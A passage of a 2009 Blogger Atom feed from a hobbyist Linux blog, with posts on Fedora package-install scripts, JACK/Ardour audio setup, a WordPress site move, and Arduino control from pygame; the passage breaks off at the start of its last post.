title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/608261294446110380'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/608261294446110380'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/10/installing-supercollider3-on-fedora-11.html' title='Installing SuperCollider3 on Fedora 11'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-3682810791523719105</id><published>2009-10-21T19:30:00.000-07:00</published><updated>2009-10-21T19:37:09.525-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='1010lt'/><category scheme='http://www.blogger.com/atom/ns#' term='fedora'/><category scheme='http://www.blogger.com/atom/ns#' term='maudio'/><category scheme='http://www.blogger.com/atom/ns#' term='ardour'/><category scheme='http://www.blogger.com/atom/ns#' term='jackd'/><category scheme='http://www.blogger.com/atom/ns#' term='delta 1010lt'/><title type='text'>Setting up JACKD (Ardour) with your M-Audio Delta 1010lt on fedora 11</title><content type='html'>First thing make sure jack is installed. Next check your alsamixer by typing:&lt;br /&gt;alsamixer&lt;br /&gt;Press f6 to see what your m-audio sound card is, mine was one, as opposed to 0, which was the default so I'll start jackd like this:&lt;br /&gt;/usr/bin/jackd -d alsa --device hw:1&lt;br /&gt;&lt;br /&gt;Start ardour or whatever you are routing too.&lt;br /&gt;&lt;br /&gt;Then use your favorite graphical jack tool to set up the routing, I use:&lt;br /&gt;&lt;br /&gt;qjackctl&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;***You may have some problems, if you start any of these as different users, so if your just selecting some things out of the menu, and doing other things in the terminal, don't change to root in terminal.***&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-3682810791523719105?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/3682810791523719105/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=3682810791523719105' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3682810791523719105'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3682810791523719105'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/10/setting-up-jackd-ardour-with-your-m.html' title='Setting up JACKD (Ardour) with your M-Audio Delta 1010lt on fedora 11'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-4560673197568362358</id><published>2009-10-21T13:11:00.000-07:00</published><updated>2009-11-18T09:07:52.099-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fedora 11'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='new install'/><category scheme='http://www.blogger.com/atom/ns#' term='jack'/><category scheme='http://www.blogger.com/atom/ns#' term='cmake'/><category scheme='http://www.blogger.com/atom/ns#' term='algoscore'/><category scheme='http://www.blogger.com/atom/ns#' term='tar balls'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Installing all the shit you need on fedora core</title><content type='html'>So I just built a new fedora box...woot. But the problem is I set it all up by hand which is stupid. So I wrote a script in bash for everything I did, so next time I don't have to. First I did it with bash and then I did it with perl. Make sure, your root if you choose to run these scripts, they should be easy to edit to install what you want, becuase there pretty simple, in the perl one you just need to replace the stuff in @yum_installs. Also run yum update, before you run.(The bash one includes two tar balls, not in the perl one)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;RUN AS ROOT&lt;br /&gt;RUN YUM UPDATE FIRST&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bash:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;#run as root&lt;br /&gt;#prep&lt;br /&gt;cd /root&lt;br /&gt;mkdir /root/tar&lt;br /&gt;#Necessities for existence/development&lt;br /&gt;yum -y install xchat&lt;br /&gt;yum -y install screen&lt;br /&gt;yum -y install cpan&lt;br /&gt;yum -y install wget&lt;br /&gt;yum -y install PCRE&lt;br /&gt;yum -y install cmake&lt;br /&gt;yum -y install gtk+&lt;br /&gt;yum -y install pygame&lt;br /&gt;yum -y install python-devel&lt;br /&gt;yum -y install cmake&lt;br /&gt;yum -y install cmake-devel&lt;br /&gt;yum -y install liblo&lt;br /&gt;yum -y install liblo-devel&lt;br /&gt;yum -y install gcc-c++-devel&lt;br /&gt;yum -y install cmake-gui&lt;br /&gt;#robotics&lt;br /&gt;yum -y install nxt_python&lt;br /&gt;yum -y install pybluez&lt;br /&gt;#Audio programs setup&lt;br /&gt;yum -y install libsndfile&lt;br /&gt;yum -y install libsndfile-devel&lt;br /&gt;yum -y install qjackctl&lt;br /&gt;yum -y install zynaddsubfx&lt;br /&gt;yum -y install vkeybd&lt;br /&gt;yum -y install qtjack-devel&lt;br /&gt;yum -y install csound&lt;br /&gt;yum -y install csound-devel&lt;br /&gt;yum -y install portmidi&lt;br /&gt;yum -y install rosegarden4&lt;br /&gt;yum -y install jamin&lt;br /&gt;yum -y install jack-audio-connection-kit-devel&lt;br /&gt;yum -y install ctapi-cyberjack-devel&lt;br /&gt;yum -y install zynjacku&lt;br /&gt;yum -y install ardour&lt;br /&gt;#installs of utilities through tar balls&lt;br /&gt;#Yes, you can get nmap through yum, however Fyodor reccommends a source install&lt;br /&gt;#and to be honest, it isn't that hard&lt;br /&gt;cd /root/tar&lt;br /&gt;wget http://nmap.org/dist/nmap-5.00.tar.bz2&lt;br /&gt;tar -xvf nmap-5.00.tar.bz2 &lt;br /&gt;cd /root/tar/nmap-5.00&lt;br /&gt;./configure&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;cd /root/tar&lt;br /&gt;wget http://download.gna.org/algoscore/AlgoScore-081112.tar.bz2&lt;br /&gt;tar -xvf AlgoScore-081112.tar.bz2&lt;br /&gt;cd /root/tar/AlgoScore&lt;br /&gt;./make_build&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Perl version:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;use strict;&lt;br /&gt;use warnings;&lt;br /&gt;&lt;br /&gt;my $yum;&lt;br /&gt;&lt;br /&gt;my @yum_installs = qw(&lt;br /&gt; xchat screen cpan&lt;br /&gt; wget pcre-devel cmake&lt;br /&gt; gtk+ pygame python-devel&lt;br /&gt; cmake cmake-devel liblo&lt;br /&gt; liblo-devel gcc-c++-devel cmake-gui&lt;br /&gt; libsndfile libsndfile-devel qjackctl&lt;br /&gt; zynaddsubfx vkeybd qtjack-devel&lt;br /&gt; csound csound-devel portmidi&lt;br /&gt; rosegarden4 jamin jack-audio-connection-kit-devel&lt;br /&gt; ctapi-cyberjack-devel zynjacku ardour&lt;br /&gt; nxt_python pybluez&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;&amp;array_cracker();&lt;br /&gt;&lt;br /&gt;sub array_cracker(){&lt;br /&gt; foreach(@yum_installs){&lt;br /&gt;   print $_;&lt;br /&gt;   $yum = `yum -y install $_`;&lt;br /&gt;   print $yum;&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-4560673197568362358?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/4560673197568362358/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=4560673197568362358' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4560673197568362358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4560673197568362358'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/10/installing-all-shit-you-need-on-fedora.html' title='Installing all the shit you need on fedora core'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-1410113557615999238</id><published>2009-10-19T11:58:00.000-07:00</published><updated>2009-10-19T12:06:38.957-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wordpress'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='ABSPATH'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Had to Change ABSPATH after moving my wordpress blog fuckinfiction</title><content type='html'>I choose to move my wordpress blog, fuckinfiction from, wereboobs.com/fuckinfiction to fuckinfiction.wereboobs.com. Now I choose to do this to try to clean up server a little bit, and that required a directory move as well, however after the move I couldn't get to the admin interface because the ABSPATH or Absolute Path, within the database was still pointing to the old directory. To fix it this required two database changes. The recommendation that I read said to go in with phpMyAdmin, and to make the changes, I however had no interest in installing that on my server, so I could have done it by hand, However, I'm typically prone to error when doing that kind of stuff. So I did it with and app called Sequel Pro, which was really spiffy. It created the SSH port forwarding so I didn't have to.&lt;br /&gt;&lt;br /&gt;Ok so if you need to do this, you should navigate to your wordpress database&lt;br /&gt;Navigate to wp_options&lt;br /&gt;change siteurl (row 1)&lt;br /&gt;and home (row 39)&lt;br /&gt;to your  fqdn&lt;br /&gt;for me that is &lt;a href="http://fuckinfiction.wereboobs.com"&gt;http://fuckinfiction.wereboobs.com&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-1410113557615999238?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/1410113557615999238/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=1410113557615999238' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1410113557615999238'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1410113557615999238'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/10/had-to-change-abspath-after-moving-my.html' title='Had to Change ABSPATH after moving my wordpress blog fuckinfiction'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-4462010635757031019</id><published>2009-10-11T16:40:00.000-07:00</published><updated>2009-10-11T16:43:11.598-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='arduino'/><category scheme='http://www.blogger.com/atom/ns#' term='lego mindstorm'/><category scheme='http://www.blogger.com/atom/ns#' term='flickr'/><category scheme='http://www.blogger.com/atom/ns#' term='pictures'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='nxt'/><title type='text'>Some Bad photography of mine, and my nxt stuff</title><content type='html'>&lt;a href="http://www.flickr.com/photos/bsdpunkblog/4002250789/" title="Suffer? by bsdpunkblog, on Flickr"&gt;&lt;img src="http://farm4.static.flickr.com/3470/4002250789_bf71a94690_o.jpg" width="947" height="840" alt="Suffer?" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I took a couple shots of my NXT face I made. Video with functionality soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-4462010635757031019?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/4462010635757031019/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=4462010635757031019' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4462010635757031019'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4462010635757031019'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/10/some-bad-photography-of-mine-and-my-nxt.html' title='Some Bad photography of mine, and my nxt stuff'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-5763746391602443362</id><published>2009-10-11T12:06:00.000-07:00</published><updated>2009-10-11T12:08:08.797-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='blog'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker convention'/><category scheme='http://www.blogger.com/atom/ns#' term='Reboot'/><category scheme='http://www.blogger.com/atom/ns#' term='hipster please'/><category scheme='http://www.blogger.com/atom/ns#' term='electric six'/><category scheme='http://www.blogger.com/atom/ns#' term='music'/><category scheme='http://www.blogger.com/atom/ns#' term='cons'/><category scheme='http://www.blogger.com/atom/ns#' term='PhreakNic'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Blog News</title><content type='html'>The blog has been on a bit of a slow streak, But I should have some more over the robot stuff soon and I am reading some interesting security books right now as well, so some of that may leech there way here as well.  There is a local( Nashville ) hacker con ( PhreakNIC ) at the end of October I will most likely go to, however, Electric Six is playing the 31st, and there is no way I am missing that. You should check and see if you have local hacker cons, if you're not in the Nashville area, there are probably more than you think. Check out the new update on wereboobs fuckin fiction ( http://wereboobs.com/fuckinfiction ), that would be my fiction blog for those of you uninitiated. &lt;br /&gt;In other news:&lt;br /&gt;&lt;br /&gt;Interesting Reboot Remix videos:&lt;br /&gt;&lt;a href="http://cyjon.net/videos.php"&gt;http://cyjon.net/videos.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hipster Please! has a very interesting &lt;a href="http://www.hipsterplease.com/2009/10/last-temptation-of-popeye.html"&gt;review&lt;/a&gt; of Schaffer the Dark Lord's new album.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-5763746391602443362?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/5763746391602443362/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=5763746391602443362' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5763746391602443362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5763746391602443362'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/10/blog-news.html' title='Blog News'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-9151587892429879608</id><published>2009-10-08T11:26:00.000-07:00</published><updated>2009-10-08T11:29:06.463-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='the singularity summit'/><category scheme='http://www.blogger.com/atom/ns#' term='ai'/><category scheme='http://www.blogger.com/atom/ns#' term='dresden codak'/><category scheme='http://www.blogger.com/atom/ns#' term='artificial intelligence'/><category scheme='http://www.blogger.com/atom/ns#' term='singularity'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Singularity Summit: a brief review</title><content type='html'>&lt;a href="http://dresdencodak.com/2009/10/07/singularity-summit-a-brief-review/"&gt;Singularity Summit: a brief review&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is a review by the guy that does Dresden Codak, of the Singularity Summit. This review is exactly what I wanted to know about the summit. I suggest you read it if you have any interest in the Singularity, or Artificial Intelligence.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-9151587892429879608?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/9151587892429879608/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=9151587892429879608' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/9151587892429879608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/9151587892429879608'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/10/singularity-summit-brief-review.html' title='Singularity Summit: a brief review'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-1318598071537454223</id><published>2009-10-03T12:39:00.000-07:00</published><updated>2009-10-03T13:04:05.780-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='arduino'/><category scheme='http://www.blogger.com/atom/ns#' term='pygame'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Very Simple Tutorial for pygame and arduino, to get started making a gui for arduino part 1</title><content type='html'>&lt;object width="560" height="340"&gt;&lt;param name="movie" value="http://www.youtube.com/v/Hp30GKStna4&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/Hp30GKStna4&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;This is how to get started, with python and your arduino, brining up the begginings of a GUI. It's just a taste of what you can do and I hope to go further on the subject. You need pygame, and the python firmata installed(explained &lt;a href="http://bsdpunk.blogspot.com/2009/10/prepping-fedora-core-for-nxt-brick-and.html"&gt;here&lt;/a&gt;), and your arduino must have the firmata software on it as explained &lt;a href="http://bsdpunk.blogspot.com/2009/09/blinking-led-over-web-with-python.html"&gt;here&lt;/a&gt;. Here is the code I &lt;a href="http://lorenzod8n.wordpress.com/2007/05/30/pygame-tutorial-3-mouse-events/"&gt;stole&lt;/a&gt;/wrote for getting the arduino to blink when you click within pygame. This outline should get you started with fun stuff:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#! /usr/bin/env python&lt;br /&gt;&lt;br /&gt;import pygame&lt;br /&gt;from firmata import *&lt;br /&gt;&lt;br /&gt;proArduino = Arduino('/dev/ttyUSB0')&lt;br /&gt;proArduino.pin_mode(13, firmata.OUTPUT)&lt;br /&gt;proArduino.delay(2)&lt;br /&gt;&lt;br /&gt;LEFT = 1&lt;br /&gt;x = y = 0&lt;br /&gt;screen = pygame.display.set_mode((640, 480))&lt;br /&gt;running = 1&lt;br /&gt;&lt;br /&gt;def blinky(pin_n):&lt;br /&gt;         proArduino.digital_write(pin_n, firmata.LOW)&lt;br /&gt;         proArduino.delay(2)&lt;br /&gt;         proArduino.digital_write(pin_n, firmata.HIGH)&lt;br /&gt;         proArduino.delay(2)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;while running:&lt;br /&gt;        event = pygame.event.poll()&lt;br /&gt;        if event.type == pygame.QUIT:&lt;br /&gt;         running = 0&lt;br /&gt;        elif event.type == pygame.MOUSEBUTTONDOWN and event.button == LEFT:&lt;br /&gt;         blinky(13)&lt;br /&gt;&lt;br /&gt;        screen.fill((100,0,0))&lt;br /&gt;        pygame.display.flip()&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Right now I am experimenting with a lot of diffrent things(forking etc.), to see how the arduino and pygame can best interoperate.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-1318598071537454223?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/1318598071537454223/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=1318598071537454223' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1318598071537454223'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1318598071537454223'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/10/very-simple-tutorial-for-pygame-and.html' title='Very Simple Tutorial for pygame and arduino, to get started making a gui for arduino part 1'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-5230346341059675489</id><published>2009-10-03T12:15:00.000-07:00</published><updated>2009-10-03T12:22:12.685-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='arduino'/><category scheme='http://www.blogger.com/atom/ns#' term='fedora 11'/><category scheme='http://www.blogger.com/atom/ns#' term='fedora'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='nxt'/><title type='text'>Prepping Fedora Core for NXT brick, and Arduino, to be used with pygame and mod_python, in a python environment</title><content type='html'>If you do a fresh install of Fedora 11, you just need to save this script and run it as root on your machine, once you have saved it with a .sh extenstion, open the terminal, use the command su to become root, then navigate to the directory you have saved it in. Change the permissions, before you try to run it, so it is executable. Run it by typing dot then slash the the script name: ./scriptname.sh&lt;br /&gt;&lt;br /&gt;Before the script:&lt;br /&gt;su&lt;br /&gt;chmod 777 scriptname.sh&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#! /bin/bash&lt;br /&gt;yum -y install mod_python&lt;br /&gt;mkdir -p /var/www/html/test&lt;br /&gt;cat &lt;&lt;-EOF &gt;/etc/httpd/conf.d/pythonTwo.conf&lt;br /&gt;&amp;lt;Directory /var/www/html/test&gt;&lt;br /&gt;  AddHandler python-program .py&lt;br /&gt;  PythonHandler mptest&lt;br /&gt;  PythonDebug On&lt;br /&gt;&amp;lt;/Directory&gt;&lt;br /&gt;EOF&lt;br /&gt;cat &lt;&lt;-EOF &gt;/var/www/html/test/mptest.py&lt;br /&gt;#!/usr/bin/python&lt;br /&gt;from mod_python import apache&lt;br /&gt;&lt;br /&gt;def handler(req):&lt;br /&gt;    req.send_http_header()&lt;br /&gt;    req.write("Hello World!")&lt;br /&gt;    return apache.OK&lt;br /&gt;EOF&lt;br /&gt;yum -y install python-devel&lt;br /&gt;yum -y install git&lt;br /&gt;git clone http://github.com/lupeke/python-firmata.git&lt;br /&gt;cd python-firmata&lt;br /&gt;python setup.py install&lt;br /&gt;yum -y install gcc&lt;br /&gt;yum -y install pybluez&lt;br /&gt;yum -y install nxt_python&lt;br /&gt;yum -y install pygame&lt;br /&gt;/usr/sbin/apachectl restart&lt;br /&gt;&lt;/pre&gt; &lt;br /&gt;&lt;br /&gt;**caveat**&lt;br /&gt;Be careful where you save it, it will create a directory for the python-firmata in that directory. If you use this right when your machine boots, there is a possibility the yum updater will start using yum, if the script will pause until the updater is finished using yum then continue, or you can run it before you start the script.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-5230346341059675489?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/5230346341059675489/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=5230346341059675489' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5230346341059675489'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5230346341059675489'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/10/prepping-fedora-core-for-nxt-brick-and.html' title='Prepping Fedora Core for NXT brick, and Arduino, to be used with pygame and mod_python, in a python environment'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-6077916603709940715</id><published>2009-10-01T12:30:00.000-07:00</published><updated>2009-10-01T12:32:04.020-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hackforums.net'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Hackforums.net was purchased</title><content type='html'>It appears that hackforums will be back up shortly, under new managment.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-6077916603709940715?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/6077916603709940715/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=6077916603709940715' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6077916603709940715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6077916603709940715'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/10/hackforumsnet-was-purchased.html' title='Hackforums.net was purchased'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-8402256287152608</id><published>2009-10-01T11:26:00.003-07:00</published><updated>2009-10-01T11:26:50.603-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='9unkz0r irc'/><category scheme='http://www.blogger.com/atom/ns#' term='iptables'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='malvager'/><title type='text'>Malvager is down, my fault</title><content 